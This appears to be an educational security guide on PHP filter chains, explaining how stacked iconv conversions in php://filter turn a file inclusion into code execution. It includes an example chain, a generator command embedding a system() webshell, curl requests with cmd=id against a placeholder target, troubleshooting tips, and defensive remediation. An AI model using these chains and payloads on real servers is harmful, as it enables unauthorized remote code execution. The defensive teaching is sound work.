PHP Filter Chains
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
The technique that changed this topic
Every other escalation on this site needs something: a permissive php.ini, a writable directory, an upload feature, a readable log, outbound network access. This one needs none of them.
The insight, published by Charles Fol in 2022 building on loknop's work, is that php://filter is not only a way to transform a stream — it is a way to generate one. A handful of convert.iconv conversions emit bytes of their own when fed particular input. Chain hundreds of them in the right order and the wrapper produces an arbitrary byte sequence from an empty source.
Point an include() at that chain and it executes bytes that were never on the disk. On a default configuration. This is why File Inclusion in 2026 argues that the live technique is not remote inclusion — it is this.
Why nothing stops it
Walk through the controls that would normally apply:
allow_url_include=Off— not consulted.php://filteris not a URL include, and never was. This is the single most important property of the technique.allow_url_fopen=Off— not consulted either, for the same reason.- No writable directory — nothing is written. The content is synthesised in the stream.
- No upload feature — nothing is uploaded.
- No outbound connectivity — nothing is fetched.
resource=php://tempis an empty in-memory stream that always exists. open_basedir— nothing is read from the filesystem, so there is no path to confine.disable_functions— irrelevant to whether the include happens, though it does constrain what your payload can then do.
What is required is short: an inclusion sink that executes, your input at the start of the string, and no appended suffix.
How the chain is built
The chain constructs the base64 representation of your payload, one character at a time, in reverse, and then decodes it.
The primitive is that some convert.iconv.<A>.<B> conversions prepend bytes — a byte-order mark, an ISO-2022 escape sequence — rather than merely transcoding what they are given. Base64-encode the result and the prepended bytes determine the first base64 character. Someone brute-forced every encoding pair to find, for each of the 64 base64 characters, a conversion sequence that produces it.
Each step of the chain is then:
- Apply the conversion for the next character. It lands at the front of the accumulator.
convert.base64-decodethenconvert.base64-encode, which strips everything that is not valid base64 — the conversions leave debris, and this is how it is cleaned up.convert.iconv.UTF8.UTF7, which removes the=padding the re-encode just added.
Repeat for every character of your base64 payload, working backwards. Terminate with a single convert.base64-decode and the wrapper emits your original bytes.
That is roughly 150 characters of chain per byte of payload, which is why chain length is the practical limit.
What it looks like
php://filter/
convert.iconv.UTF8.CSISO2022KR| <- prelude: seed some bytes
convert.base64-encode|
convert.iconv.UTF8.UTF7| <- strip the = padding
convert.iconv.UTF8.UTF16| <- one character's conversion...
convert.iconv.WINDOWS-1258.UTF32LE|
convert.iconv.ISIRI3342.ISO-IR-157|
convert.base64-decode| <- ...then the cleanup cycle
convert.base64-encode|
convert.iconv.UTF8.UTF7|
… one such block per base64 character, in reverse …
convert.base64-decode <- terminator: emit the real bytes
/resource=php://temp
# resource=php://temp because the chain needs no real file — php://temp is
# always present and always empty, so there is nothing to guess and nothing
# for open_basedir to confine.Using it
# Generate one here: /filter-chain
# Or with the reference implementation:
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# The chain goes in the vulnerable parameter. URL-encode it — it contains
# pipes and slashes, and a proxy in the path may object to raw ones.
curl -s -G 'https://target.example/index.php' \
--data-urlencode "page=$CHAIN" \
--data-urlencode 'cmd=id'
# If the chain is too long for the request line, move it to a POST body
# parameter — the sink usually reads $_REQUEST or the app accepts both.
curl -s 'https://target.example/index.php?cmd=id' \
--data-urlencode "page=$CHAIN"
# Keep the payload minimal. <?php system($_GET["cmd"]);?> is 30 bytes and
# produces a chain of roughly 4KB. A full webshell will not fit.When it comes back empty
This is the common experience the first few times. Work through it in this order.
Turn on debug mode. Drop the final convert.base64-decode (the generator has a toggle). You should get base64 back. If you do, the chain is fine and the problem is at the include. If you get nothing, the chain is not running at all.
Check your input reaches position zero. include('pages/' . $page) makes php:// a directory name. This is by far the most common cause and there is no way around it from the parameter — see PHP Wrappers and Streams.
Check for an appended extension. resource=php://temp + .php breaks the resource. See Extension Append Bypasses.
Check the length. Apache's default LimitRequestLine is 8190 bytes and nginx's default header buffer is 8k. A truncated chain fails silently. Move it to a POST body.
Check the sink executes. A chain into file_get_contents builds perfectly and achieves nothing — you will get your payload echoed as text rather than run. See Inclusion vs Traversal.
Check the PHP build has iconv. It is compiled in on essentially every distribution build, but a minimal custom build may lack it, and every conversion then fails. php://filter/convert.base64-encode/resource=index.php working while a chain does not is the signature.
Related techniques
wrapwrap generalises the idea. Instead of synthesising a whole file from nothing, it prepends chosen bytes to a real file that the wrapper reads. That turns "I can read this file" into "I can read this file with a header of my choosing on the front", which matters when the target parses what it reads — an XML document you can prepend a DOCTYPE to, or a config file you can prepend a directive to.
Filter chains as an oracle. Some conversions fail on particular byte sequences, which makes the chain error out. That difference is observable, and it can be used to read a file one byte at a time even when the output is never reflected — a blind read primitive built out of a technique that normally needs the output.
Non-PHP targets. None. This is specific to PHP's stream filter implementation, and there is no analogue in any of the other six runtimes on the cheatsheet.
Prevention
There is no configuration that stops this. That is the point of the guide and it is worth being blunt about it in a report: recommending allow_url_include=Off as a remediation is recommending a setting that is already off and was never relevant.
What works:
- Allowlist the parameter. Map an identifier to a filename through a fixed table. The parameter stops being a path, and every technique on this site stops applying. This is the fix.
- Prepend a base directory if you cannot allowlist. It does not stop traversal, but it does move the input off position zero, which disables every
php://wrapper at once. A genuine mitigation for this specific technique, and an accident of how PHP parses schemes rather than a designed control. realpath()plus a prefix check, which rejects a wrapper outright becauserealpath()returnsfalsefor one.
See Defense in Depth and try each of them in the lab.
Related
include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.
PHP's stream layer makes every filesystem function accept a URL. That one design decision is why file inclusion in PHP is a different bug from file inclusion anywhere else.
Classic RFI has been off by default since 2006 and the null byte died in 2010. Here is what replaced them, and why most material on this topic is describing a target that no longer exists.
Two wrappers that turn an include straight into execution with no file involved at all. One needs an extension nobody installs; the other needs the flag that has been off since 2006.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.